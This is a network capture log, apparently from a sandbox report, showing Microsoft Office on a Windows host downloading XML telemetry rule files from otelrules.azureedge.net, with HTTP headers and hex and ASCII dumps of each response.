2024-10-29 16:59:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 44c43cee-601e-003e-459c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165924Z-15b8d89586f5s5nz3ffrgxn5ac00000007ng00000000029t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:24 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dbd91de3-001e-002b-2827-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165924Z-17c5cb586f6fqqst87nqkbsx1c00000005bg000000000w7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:24 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:24 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165924Z-16849878b78wc6ln1zsrz6q9w800000006g000000000d1h5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:24 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:24 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:24 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165924Z-16849878b786lft2mu9uftf3y4000000080000000000prem x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:24 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:24 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:24 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 013f0f94-801e-00ac-2ef3-24fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165924Z-15b8d89586ff5l62aha9080wv0000000082g00000000b8q7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:24 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:24 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:25 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:25 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165925Z-16849878b78qfbkc5yywmsbg0c00000006g000000000cgvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:25 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:25 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:25 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:25 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165925Z-16849878b785jrf8dn0d2rczaw000000082g0000000002vp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:25 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:25 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:25 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 16f4e3a8-701e-0053-1d57-273a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165925Z-17c5cb586f6wmhkn5q6fu8c5ss000000065g000000009yeq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:25 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:25 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:25 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 88d45aac-e01e-003c-3e01-29c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165925Z-r197bdfb6b4bs5qf58wn14wgm000000005u000000000c330 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:25 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:25 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:25 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:25 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: d72005e7-a01e-0002-1a61-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165925Z-15b8d89586f5s5nz3ffrgxn5ac00000007hg000000007ys0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:25 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:25 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:26 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:25 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 20ac8722-c01e-00ad-30e6-27a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165925Z-17c5cb586f6lxnvg801rcb3n8n00000006ng00000000bcbb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:26 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:26 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:26 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:26 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165926Z-16849878b7867ttgfbpnfxt44s00000006pg00000000gd6b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:26 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49813	13.107.246.45	443

